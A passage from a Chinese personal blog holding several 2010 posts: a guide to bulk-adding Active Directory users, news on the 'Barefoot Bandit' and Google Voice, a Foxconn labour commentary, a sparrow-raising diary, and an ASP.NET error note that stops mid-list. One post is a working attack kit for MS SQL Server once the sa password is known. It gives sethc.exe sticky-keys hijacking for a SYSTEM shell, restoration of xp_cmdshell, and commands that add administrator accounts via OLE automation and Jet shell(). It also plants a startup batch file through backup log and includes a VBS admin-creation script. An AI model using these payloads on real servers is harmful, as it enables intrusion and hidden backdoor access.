奋斗 Blog

如何批量添加域用户

dev — Sat, 14 Aug 2010 23:26:43 +0800

在企业域管理工作中经常做的操作就是添加删除域用户，修改域用户权限和信息。若是一个用户倒也没什么，但是如果一次添加上百个用户那就是体力活了。

下面介绍批量添加域用户的方法，此方法不仅可以直接在AD批量添加用户，还可以按照客户要求在批量添加域用户的时候将域用户的详细信息填好。这种批量添加域用户的方法实际上是利用了微软提供的域管理工具csvde直接批量导入域用户。

另外介绍一款批量修改域用户属性的工具 ADmodify，利用此工具可以批量修改已存在域中用户的信息，相关信息请参考http://www.computerperformance.co.uk/w2k3/utilities/admodify.htm

已经做好了两份文档《新员工入职信息收集&帐号下发》和《批量添加Ad用户.xlsm》，第一份是给申请人准备的，让申请人添好相关信息后我们就可以直接复制到我们导入帐号的表中了。其中账户信息可以自己定义。

表格下载请点这里

注意：所有操作步骤中的粘贴操作均为选择性粘贴，类型是数值。

1.从《新员工入职基本信息表》中复制相应字段到基本信息中注意：黄色部分字段

2.复制基本信息中的sAMAccountName到检查账户中并另存为文本文件id.txt，然后在cmd中运行(for /f “skip=1 delims=” %a in (id.txt) do net user %a /domain >> zhanghao.txt) 注意：cmd的当前路径要与id.txt路径相同

3.检查zhanghao.txt 并按照命名规则修改已经存在的帐号并再次检查，确定无重复帐号后，直接修改基本信息中的sAMAccountName字段对应的值注意：删除原来单元格的公式

4.经过前3个步骤，再次检查基本信息。注意：确认帐号名字拼音是否正确，有的名字是多音字。

5.复制所有字段数值到导入帐号中，注意：除了密码字段并将userAccountControl字段的值转换为数字。然后另存为逗号分割的csv格式文件input.csv 并在cmd中运行（csvde -i -f input.csv）注意：cmd的当前路径要与input.csv路径相同

6.为帐号创建密码，分别复制基本信息中sAMAccountName和Password字段到设置密码中，另存为prn格式文件password.prn 并在cmd中运行（for /f “skip=1 delims=” %p in (password.prn) do net user %p /active /domain）注意：cmd的当前路径要与password.prn路径相同

7.到默认OU中将批量建立好的帐号全部选中加入默认组,开通邮箱，设置为第一次登录需要修改密码，然后移动用户到其所属的OU。

从《新员工入职基本信息表》中复制相应字段到基本信息中注意：黄色部分字段

复制基本信息中的sAMAccountName到检查账户中并另存为文本文件id.txt，然后在cmd中运行(for /f “skip=1 delims=” %a in (id.txt) do net user %a /domain >> zhanghao.txt) 注意：cmd的当前路径要与id.txt路径相同

检查zhanghao.txt 并按照命名规则修改已经存在的帐号并再次检查，确定无重复帐号后，直接修改基本信息中的sAMAccountName字段对应的值注意：删除原来单元格的公式

经过前3个步骤，再次检查基本信息。注意：确认帐号名字拼音是否正确，有的名字是多音字。

复制所有字段数值到导入帐号中，注意：除了密码字段并将userAccountControl字段的值转换为数字。然后另存为逗号分割的csv格式文件input.csv 并在cmd中运行（csvde -i -f input.csv）注意：cmd的当前路径要与input.csv路径相同

为帐号创建密码，分别复制基本信息中sAMAccountName和Password字段到设置密码中，另存为prn格式文件password.prn 并在cmd中运行（for /f “skip=1 delims=” %p in (password.prn) do net user %p /active /domain）注意：cmd的当前路径要与password.prn路径相同

到默认OU中将批量建立好的帐号全部选中加入默认组,开通邮箱，设置第一次登录修改密码，然后移动到用户到其所属的OU。

赤脚神偷哈里斯穆尔落网

dev — Tue, 13 Jul 2010 22:00:15 +0800

一名被称为赤脚神偷的美国青年科尔顿哈里斯穆尔近日被美国警方逮捕，只有19的哈里斯穆尔的两年盗窃生涯使他成为了民间英雄。

巴哈马警方11日说，经过一周搜寻，终于在北部一处小岛附近抓获人称“赤脚神偷”的美国少年科尔顿·哈里斯穆尔。出现在拿骚机场的哈里斯穆尔面对媒体镜头和炮轰式提问一言不发。记者注意到，这名时常赤脚逃亡的传奇人物果然光着脚。

巴哈马警方发言人斯基普斯说，接到线索后，警方11日拂晓前在北部伊柳塞拉岛一处旅游景点实施抓捕。一支由多名警察组成的小分队包抄小岛，成功擒获哈里斯穆尔，随后把他押送至首都拿骚，可能会把他引渡到美国。

巴哈马警方10日获悉，一名嫌疑人从美国印第安纳州偷得一架小飞机，4日在位于巴哈马北部的大阿巴科岛碰撞着陆。美国警方从中嗅出“赤脚神偷” 哈里斯穆尔的气息，随即通报巴哈马警方。巴哈马警方在大阿巴科岛65公里以外的伊柳塞拉岛寻获一艘失窃游艇。除此之外，截至10日再无收获。

哈里斯穆尔没学过就敢开飞机

哈里斯穆尔8岁开始偷盗，至今作案上百起，涉嫌偷窃的物品包括自行车、汽车、游艇、飞机、互联网账号、信用卡账户等。哈里斯穆尔不曾接受过任何飞行训练，却能驾驶飞机逃脱警方追捕。他很多次在警方眼皮底下溜走。

尽管警方怀疑哈里斯穆尔可能身在他方，不过巴哈马多名居民信誓旦旦地声称自己遭遇“赤脚神偷”。一艘渡船船长弗格兰特说，他7日晚在伊柳塞拉岛北部看到一名少年在水湾里游泳或洗澡，轮渡企业员工彭纳曼声称自己同一天看到一名少年躲在附近树林里，次日3艘渡船的点火装置遭人破坏。这处轮渡附近的一家酒吧经理贝恩说，这家酒吧7日晚遭人行窃，作案者喝过果汁，吃过薯条，碰过电视遥控器。“他在看电视，显然非常冷静。”

野外生存本领高

哈里斯穆尔出生在美国华盛顿州皮吉特湾一处小岛，小时候混迹于野外丛林，练就高超的野外生存本领，获称“野孩子”。一名与哈里斯穆尔“交过手”的警察回忆说，一次夜间搜捕行动中，他用手电筒照到哈里斯穆尔的身影，紧追不舍。就在那时，这名身高将近两米的 “神偷”突然“在眼前蒸发”。没过多久，他听到树林深处传来一阵得意的笑声，意识到对手已成功逃脱。

哈里斯穆尔落网

在警方召开的新闻发布会上，警官埃里森·格林斯莱德说，抓捕过程中，哈里斯穆尔试图乘船逃跑，一度与警方“交火”。事后，警方在他身上查获一把手枪。一名不愿公开姓名的警官告诉美联社记者，警方射中哈里斯穆尔所乘船只的引擎后，后者束手就擒。哈里斯穆尔接受身体检查，健康状况良好。

在逃两年多次犯案

“赤脚神偷”偶有失手。哈里斯穆尔2007年遭警方抓获，被判在未成年人管教中心关押将近4年，后因表现良好转送至一处过渡教习所，2008 年成功逃跑。在逃两年多，哈里斯穆尔多次犯案，但总是逃过警方追捕。综合新华社

母亲为儿子辩护称媒体夸大报道

哈里斯穆尔的母亲帕姆·科勒11日晚些时候告诉媒体记者，自己已经知道儿子被捕，但不想谈论更多。科勒曾在公开场合为儿子辩护，称媒体报道夸大了他的经历。她曾不无骄傲地告诉记者：“我儿子非常聪明。几年前做智商测试，只比爱因斯坦低几分。”至于孩子为何自小犯案，科勒从未给过解释，只是说儿子有过一段不愉快的童年经历。哈里斯穆尔在网民中人气颇高。知名社交网站“脸谱”上有他的“粉丝”团。Youtube上一段“赤脚神偷”视频点击率颇高。美国《时代》周刊把他评为“2009年头号通缉青少年盗窃嫌疑人”。法新社说，一名好莱坞导演打算把哈里斯穆尔的故事搬上银幕。

谷歌宣布Google Voice免费开放

dev — Thu, 24 Jun 2010 07:09:02 +0800

谷歌在公司官方博客上宣布，其电话管理应用软件Google Voice（谷歌电话）现在对所有美国人免费开放，不再要求用户受邀才能签约服务。去年谷歌曾发布过Google Voice的早期预览版，将现有电话服务与互联网电话服务合并到一起。

目前Google Voice的用户数达到100万。服务的功能包括提供一个唯一的网络电话号码，当呼叫这个号码时，用户所有电话如家庭、办公室固话和手机都会响。 Google Voice也提供语音邮件的副本、免费在美国和加拿大打电话、低费率的国际长途电话、电话会议功能和网络语音邮件收件箱。

Google Voice产品经理克雷格·沃克尔（Craig Walker）和文森特·帕奎特（Vincent Paquet）在博客上表示：“我们对Google Voice在过去几年里所取得的进步感到自豪，但在如何将你们的普通电话服务与最新网络技术结合起来上，我们只是做了很肤浅的研究。”

Google Voice的核心技术来自谷歌2007年收购的GrandCentral。当时谷歌关闭了GrandCentral，并在去年3月推出只通过邀请才能注册的Google Voice和新功能。

去年，苹果拒绝在iPhone上使用谷歌的电话服务，称其复制了自己的功能。对此谷歌认为不公平，并对苹果进行了抨击。不过数月后谷歌通过发布移动浏览器版Voice应用软件，突破了苹果的封锁。（木秀林）

关于Google Voice的功能：

Google Voice 是由谷歌推出的 VOIP 服务，能够将个人所用的众多电话号码集中成为一个号码，同时提供许多增值服务，并且从 2009 年 6 月开始邀请一些志愿者参与实验。Google Voice 在美国和加拿大地区提供免费的语音通话和短信功能。

最初，Google Voice 可向世界各地免费发送短信，但 2010 年 6 月初，谷歌禁用了免费国际短信发送功能，称计划开始提供收费服务。

使用Google Voice服务可以免费拨打美国境内的任何电话，而国际电话的费用也比其他公司便宜，拨打中国大陆的单价为2美分/分钟。由于Google Voice展现出强大的整合功能，所以许多科技分析家都认为，它将给传统电话公司带来冲击，也会打击近几年发展的VoIP网络电话，如时下流行的 Skype、Vonage，以及美国华人熟悉的iTalk BB等。

Google Voice在绑定的时候需要提供美国本地的手机，座机或者Gizmo5的号码。

台湾教授的良知，让大陆还有地自容吗？（转载）

dev — Wed, 23 Jun 2010 11:03:08 +0800

富士康的轻生事件还没有完全落幕，即使鸿海总裁郭台铭曾在股东会上展现负责任的态度，但是，一群台湾学者不领情。

150位岛内大学教授13日召开记者会，公布联署声明，表示，除了要求郭台铭开放龙华厂区，让学者进厂监督，也诉求停止台商剥削民工的行为，甚至有学者在记者会上，直指郭台铭是“台湾之耻”，台湾政府更是帮凶。

据台湾东森新闻报道，由台湾社会科学学者发起，瞿海源、夏铸九等150名学者参与的“终结血汗工厂，捍卫劳动人权——台湾学术界对富士康员工自杀事件的联署声明”记者会上，来自全台各大院校的大学教授，一字排开，大喊口号：“停止剥削民工！”就是冲着鸿海总裁郭台铭而来。

世新社会发展所长黄德北表示，“我们不欢迎这些造成社会问题的血汗工厂鲑鱼返乡，我觉得，像郭台铭这样子，是台湾之耻。”

台湾“中研院”教授林宗弘质疑，“对于这些台商，明明在两岸都从事这种类似经济犯罪的活动，怎么回来还有优惠条件？”一字一句，都是台湾学者对郭台铭的严厉谴责。

台大社会系副教授蓝佩嘉指出，“富士康在深圳每平方公里的土地上，就聚集了大概15万人，这样高的人口密度，这样狭小的空间里，人就像碎片一样，很孤立地存在着。”

这些教授言词犀利，大呛郭董，同时被点名的还有台湾高官政要，黄德北指出，“我们看到，我们的吴敦义，我们的王金平，都还在站出来帮富士康遮羞。”

学者怒轰政府态度摇摆，并强烈要求郭董，主动开放深圳龙华厂区，让台湾学者进去瞧瞧。

富士康的悲剧发生在大陆，而勇敢地站出来为大陆同胞主持公道的却是台湾的教授，反观大陆，我们的专家学者说了什么？做了什么？我们的工会组织说了什么？做了什么？我们的政府说了什么？做了什么？

富士康的悲剧发生以后，很快有学者专家纷纷站出来为富士康背书，认为，80后、90后心理素质太差、太脆弱，呼吁他们树立正确的人生观和价值观！

按照新华社的报道，深圳市政府、工会及劳动保障等部门，还做了以下工作：

一是，加强安保防范再发生自杀事件。针对富士康保安人数有限、训练不足的问题，深圳市公安局和宝安分局，对富士康的企业保安进行指导培训，并派出300名保安大队的正规保安，来支援企业管理。

二是，加强心理疏导。深圳市卫生部门，派出一批心理医生进驻富士康，加强企业对员工的心理辅导和心理咨询力度。深圳市的妇联、共青团及文化体育部门，还协助企业在园区内开展多项文化和体育活动，缓解年轻员工的工作压力和紧张情绪。

三是，加强劳动监察。深圳市劳动保障部门对富士康员工劳动合同、工资收入、加班时间、劳动强度等情况进行了重点监察。

在富士康迫于社会舆论的压力，宣布给员工加薪后，立即传出富士康把工厂从深圳迁往内陆省市的消息，原因是内陆省市的最低工资标准比深圳更低。

各级政府所想的，是如何帮富士康来压低工人的工资，这样的政府，在大陆却没有任何学者专家站出来谴责！

无论是政府还是学者专家，都不能对富士康的自杀事件保持沉默！

一个号称执政为民的政府，更有责任改变以加工贸易出口为主导的经济模式，所谓的GDP，所谓中国速度，所谓的中国制造，不能再依靠这些生产作业线上一颗颗无知无觉的螺丝钉！

政府应允许在企业建立健全真正的代表工人利益的工会组织，抛弃那些不为工人说话，不为工人谋利的花瓶式的党委和工会！

工会应该是工人自发组织起来的联合体，而不应该是靠资方，或其他政治团体施舍的附庸或犬类！

对比台湾教授的良知，中国大陆的那一堆堆“东西”，还有地自容吗？

看看美国工会的成长史，或许对无视工人辛苦的中国工会组织有所帮助。

上世纪三十年代以来，美国汽车工人联合工会，通过一系列的罢工示威，终于争得了作为争取工人利益的“唯一代表权”，并不断争取提高工人的工资和福利待遇，到上世纪末，美国工人每小时的工资为70—80美元，并且，拥有优厚的养老、医疗等福利待遇。

如果美国工人像富士康工人那样，每天工作12小时，一个月只休息两天，每天可挣到800多美元，一个月就可挣到两万多美元，……

但可悲的是，这些在富士康，或大量私企打工的年轻一代，每天12小时工作，一个月只休息两天，收入仅仅不足2000元，这样的待遇和现实，年轻一代能在一个美仑美奂的城市畅想未来吗？

——————————————————–

附：台湾教授联署声明全文：

从今年年初开始，台湾鸿海集团所属的富士康公司，位于中国大陆深圳的龙华厂区，惊传13起员工自杀事件，其中有12起跳楼1起割腕，造成10死3伤的惨剧，令人感到震惊与疑惑。除了为死者哀悼之外，事件发生至今，这些员工死亡的真相、涉及本案各方的责任归属、公民社会的基本认知、舆论和政府应有的社会及政治责任，却未得到厘清。

我们认为，鸿海富士康员工的连续自杀，是这些年轻工人对于压迫人性的劳动体制，用生命做出的永恒的抗议！这个摧残工人生命的劳动体制之所以形成，有三方必须负责。

首先，鸿海富士康责无旁贷！

这个事件直接暴露了台商（不只是鸿海富士康）工厂，军事化管理模式的问题，即使相对于中国大陆其他厂商来说，鸿海富士康的工资不算低，但富士康“集中营” 式的监督、控制工人手段，导致工人在工作与生活中，感到非常疏离、孤单，每天十几个小时的重复劳动，令工人身心俱疲，显然是工人自杀的主要因素之一，并非宣布一次加薪就可以解决。

我们呼吁，包括鸿海富士康在内的台商，终结军事化管理模式，具体改善工作与生活环境，建立合乎人性的生产线流程，这不只是郭台铭一个人，或富士康一个厂的问题，而是所有台商需要严肃面对的企业责任。

第二个要负责的，是偏袒资方、未能保障工人基本权益的中国大陆政府。

被误导性地称为“打工者/打工妹”或“农民工”的私营企业工人，是带动中国大陆经济发展，成为“世界工厂”的无名英雄，然而，这些工人却必须面对劳动条件与户口制度的双重压迫。

以富士康为例，虽然其员工每月的工资高过深圳关外最低工资，却不可能满足“农民工”全家移入城市生活的基本需求；其次，地方政府多半不愿负担外来工人的社会保险、医疗保健，或农民工第二代的教育经费。第三，中国大陆的劳动法令并未落实，富士康工会代表人，正是老板郭台铭的助理，劳动合同法执行上，也相当松散，但是，这些不合理的劳动条件都“合法”！

我们呼吁中国大陆政府，尽快调高法定基本工资，至基本生活需要水准，废除城乡或本地与外来者的户口区隔，并调整既有工会体制，把工会还给基层工人，建立公平理性的劳资协商机制。

第三，以苹果电脑为首的跨国品牌公司，应该为这次惨剧负责。

电子业台商的薪资条件与劳动管理之所以如此严苛，与诸如苹果、惠普、戴尔等，欧美客户的低价竞争要求脱不了关系。这些跨国品牌公司，透过压低委外制造成本、驱动台商代工厂削价抢单，取得了巨大的利润。

代工厂订单的单价降低进一步转嫁，压低了中国大陆工人的工资与劳动条件。于是我们看到，全球热销的苹果iPad，每台售价为 499美元，其中，苹果电脑就赚了约297美元，超过总售价的50%，苹果电脑支付给鸿海富士康的每台代工费，约11美元，约占总售价的2.3%，而负责研发代工的台湾工程师与生产线上的中国大陆工人，究竟得到多少呢？

我们强烈谴责像苹果电脑这种透过全球价值链策略，塑造血汗工厂而赚取暴利的跨国品牌公司，在苹果产品时尚光鲜的表面下，是一条交织着血汗劳动与品牌暴利的利益链条，像iPad这样极度不公平的价值分配结构，正是全球资本主义吝啬而卑鄙的写照。

然而，台湾政府对此事件的反应，是非常不恰当的，行政院吴敦义院长说，“希望大家多给郭台铭鼓励，因为他也是在拼经济”，立法院王金平院长则说，“媒体应该‘保护自己人’”，“他（郭台铭）的困难，也是国家的困难”。

王金平、吴敦义两位院长的论点，背后的逻辑是：以拼经济之名，台湾的财团就可以肆无忌惮地到中国大陆，或其他国家去为非作歹，剥削工人，破坏环境，而且出事的时候，，台湾媒体不该批评！

这种说法等于政府为财团帮凶，鼓励台商违反普世价值，破坏台湾国际形象与两岸关系，非常不恰当，对于以人权立国为施政理念的马英九总统来说，更是一大讽刺！

无论在台湾还是在中国大陆，鸿海富士康本来就应该为员工自残事件负起最大责任，我们希望，台湾的社会大众与媒体，能够经由这次事件，体认到这些结构性因素，对于两岸劳动者的压迫。

我们强调，台湾社会应该保护的，不是跨国的政商共犯结构，而是民主价值与劳动人权！

鸿海集团、中国大陆政府与苹果电脑等跨国品牌公司，都应该为鸿海富士康员工自杀事件负责，我们无力阻止已发生的遗憾，但我们有机会努力让遗憾不再发生！

台湾舆论应该监督鸿海富士康，改善厂内管理模式、敦促中国大陆政府改善劳动人权，台湾民众更应该对造就多起工人自杀的“血汗哀凤”第四代进行抵制，直到苹果等厂商愿意投入更多心力，具体改善劳工（包括台湾与大陆工人）的劳动条件为止。

近日来，两岸官方与媒体，已经开始回避富士康员工自杀事件与中国劳工权益的议题。然而，逃避它，淡化它，扭曲它，难道就不会有焦虑、就不会良心不安、就可以“自我感觉良好”？

鸿海富士康员工自杀事件，终将成为一面高悬的明镜，永远提醒我们：勿忘台湾社会的良知！

既然属于天空，就努力挥动翅膀吧！

dev — Sat, 19 Jun 2010 22:36:18 +0800

辞职在家近两个月，除了忙着到处面试，还领养了两只7天大的麻雀，与其说是领养不如说是跟大鸟一起养。以前就听说麻雀气性大，养不活。当我把小麻雀从窝里抓出来后试着用玉米饼喂，它果真连嘴都不肯张开，试了几次后又把它放回窝里，让大鸟先喂喂，2只大鸟没5分钟会回窝里给小鸟喂食。

我观察大鸟喂小鸟的东西都是一些小昆虫，后来在网上查如何养麻雀才知道麻雀其实是可以驯养的，但是要模拟麻雀出壳时的环境，包括搭窝的材料还是光线的明暗。如果小鸟的窝里的时候用竹签把食物放在它嘴边，它就会自己啄食的。

由于材料有限不能模拟鸟窝的环境，就只能把小鸟留在窝里面，在鸟窝附近洒了好多小米和饼干，这样大鸟就不用飞到远处找东西吃了…

出生7天，每天唧唧叫个不停，抓出来一看这么难看不像活的，倒像是烤熟的。

小鸟长的很快，10天的时候就能在床上爬了。

18天的时候就变的聪明了，躲在窝里不出来，没有拍到相片。

21天的时候，羽毛已经完全长出来了，但是还是躲在窝里。

25天的时候小鸟已经按耐不住了，一直在窝边上徘徊。

28天的时候稍大一点的那只在我的骚扰下飞出了窝，在它飞出的一瞬间，两只大鸟紧随其后，从6楼的高度直接滑翔到地面，很顺利的落在草丛里，开始还担心窝里另外一只怎么办，怕那两只大的带着那先学会飞的小鸟离家出走，没想到在第二天早晨4点的时候那只先飞出的小鸟又飞回到窝里了，估计是来找弟弟了。照片中有他们的合影，但是很难看出来，那只先飞的小鸟站在了那只不会飞的前面，完全挡住了，只露出了小尖嘴。

第29天的早上两只大鸟站在屋顶叫个不停，打开窗户的时候见两只小鸟同时飞出了窝。

Sa提权sql语句大全

dev — Fri, 07 May 2010 16:59:20 +0800

Sa提权方式很多，而最快捷的方式就是shift粘滞键镜像劫持。这种Sa提权方法必须满足几个条件，数据库可以远程访问，服务器开启了终端远程访问也就是3389和粘滞键功能。这样就可以利用Microsoft SQL Server Management Studio或其他漏洞检测工具来连接远程数据库了。

个人推荐使用Microsoft SQL Server Management Studio，可以到微软官方下载地址：http://www.microsoft.com/web/downloads/platform.aspx。如果不用数据库可以不安装，选装Microsoft SQL Server Management Studio就可以了。然后链接数据库引擎，用已得到的sa用户连接数据库，执行下面sql语句，再通过远程桌面链接服务器并连续按5次任意键就可以得到服务器的系统权限了。

从网上收集了Sa提权用到的sql语句，在Sa提权过程中结合实际情况来使用吧。

获取终端端口号(两种方法)
 
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber';
 
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber';
 
设置终端端口(这两个注册表项必须相同)
 
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber','REG_DWORD',3389;
 
exec master..xp_regwrite  'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Control\Terminal Server\Wds\rdpwd\Tds\tcp','PortNumber','REG_DWORD',3389 ;
 
查询是否被别人劫持过了(唉!)
 
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger';
 
镜像劫持shift.exe 得到系统权限 CmdShell (也可以劫持其他文件如:taskmgr.exe)
 
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';
 
删除镜像劫持(不想和别人共享服务器用完了就删掉吧)
 
exec master..xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';

命令不能执行或权限不足请参考如下提权方法：

1 未能找到存储过程’master..xpcmdshell’。

恢复方法：查询分析器连接后，

第一步执行：EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行：sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

然后按F5键命令执行完毕。

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126（找不到指定模块。）

恢复方法：查询分析器连接后，

第一步执行：sp_dropextendedproc "xp_cmdshell"
第二步执行：sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

然后按F5键命令执行完毕。

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

恢复方法：查询分析器连接后,

第一步执行：exec sp_dropextendedproc 'xp_cmdshell'
第二步执行：exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

然后按F5键命令执行完毕。

恢复xp_cmdshell

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
sp_addextendedproc 'xp_cmdshell','xplog70.dll'

添加存储过程

sp_addextendedproc 'sp_oacreate','odsole70.dll
sp_addextendedproc 'xp_lake2', 'd:\wwwroot\caoo\wwwroot\xplake2.dll'
sp_dropextendedproc xp_lake2

–可以在网上下载到xplake2.dll (http://www.0×54.org/lake2/program/xplake2.dll)

加账号

EXEC xp_lake2 'net user &gt; d:\wwwroot\caoo\wwwroot\1.txt'
EXEC xp_lake2 'net user 123 123 /add'
EXEC xp_lake2 'net localgroup administrators 123 /add'

4终极方法：

如果以上方法均不可恢复，请尝试用下面的办法直接添加帐户：

查询分析器连接后，

2000servser系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',NULL,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',NULL,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'

xp或2003server系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',NULL,'c:\windows\system32\cmd.exe /c net user 123 123 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',NULL,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'

替换shift后门，跟开章的镜像劫持效果一样

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',NULL,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',NULL,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

开启数据库沙盘模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
SELECT * FROM openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin 1234 /add")')
SELECT * FROM openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators admin /add")')

不同的操作系统，路径也不一样，需要根据情况做修改：

NT/2K: c:\winnt\system32\
XP/2003: c:\windows\system32\

exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1
 
ALTER DATABASE [sq_crmchuangyu] SET RECOVERY FULL--
CREATE TABLE cmd (a image)--
backup log [sq_crmchuangyu] TO disk = 'c:\cmd1' WITH init--
INSERT INTO cmd (a) VALUES (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [sq_crmchuangyu] TO disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
DROP TABLE cmd--

在获得SA密码后，往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用，无法添加管理员账号。我们知道VBS在活动目录 (ADSI)部分有一个winnt对象，用来管理本地资源，利用它可以不依靠CMD等命令就能添加一个管理员，具体代码如下(测试成功！很实用！)：

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/test"

将上面的代码保存为1.vbs，然后执行，命令为“cscript 1.vbs”，这样就会在系统添加一个系统名为test，密码为1234的用户。具体在查询分析器执行的代码如下：

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&amp;wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&amp;"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&amp;"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&amp;"/test"'

执行完上面的语句，再执行下面这行代码，这行代码一定单独执行，不要与上面的放在一起执行，否则会提示 “c:\1.vbs正被另一个程序运行”而无法成功添加用户：

exec master..xp_cmdshell 'cscript c:\1.vbs'

如果系统用户没有添加成功，有可能是因为系统用户的密码1234的太简单，不符合服务器的复杂密码策略，可以考虑设置的复杂些，然后再测试一下。

Microsoft SQL Server2005在默认情况下，一些存储过程是关闭着的，需要命令打开：

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user’
执行SQL语句时发生错误！

错误描述：SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的过程’sys.sp_OACreate’ 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息，请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

exec master..sp_addextendedproc  'xp_cmdshell','xplog70.dll'--成功。

在执行SQL语句
[Microsoft][ODBC SQL Server Driver][SQL Server]在执行 xp_cmdshell 的过程中出错。调用 ‘CreateProcess’ 失败，错误代码: ‘5′。

遇到 sql server 2005 ，恢复xp_cmdshell的办法：

开启XP_cmdshell：
 
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;
 
开启'OPENROWSET'：
 
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;
 
开启'sp_oacreate':
 
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE;

就这么多了！总之，具体问题具体分析吧！

ASP.NET 4‎.0 生成 eurl.axd Http异常错误的处理方法

dev — Thu, 06 May 2010 16:26:14 +0800

在IIS6中同时启用了ASP.NET 2.0 和 ASP.NET 4.0 后，网站程序可能会出现如下错误：“ System.Web.HttpException: Path ‘/[yourApplicationRoot]/eurl.axd/[Value]‘ was not found. ”

错误发生的原因是当ASP.NET检测到Web站点配置为使用ASP.NET 4.0，本地ASP.NET 4.0 的组件会传递一个不能扩展的 URL到ASP.NET的管理程序作进一步处理。但是，如果一个低于ASP.NET 4.0 的网站配置为使用ASP.NET 2.0，处理这样不能扩展的 URL 时，URL的修改结果中会包含字符串“eurl.axd”，修改后的URL会被发送到 ASP.NET 2.0应用程序。

ASP.NET 2.0中是不能识别“eurl.axd”的。因此ASP.NET 2.0会尝试查找一个文件名为“eurl.axd”的文件并执行它。因为没有这样的文件，所以会请求失败，Http异常并抛出带有字符串“eurl.axd”的错误。

有三种方法可以解决这样的问题：

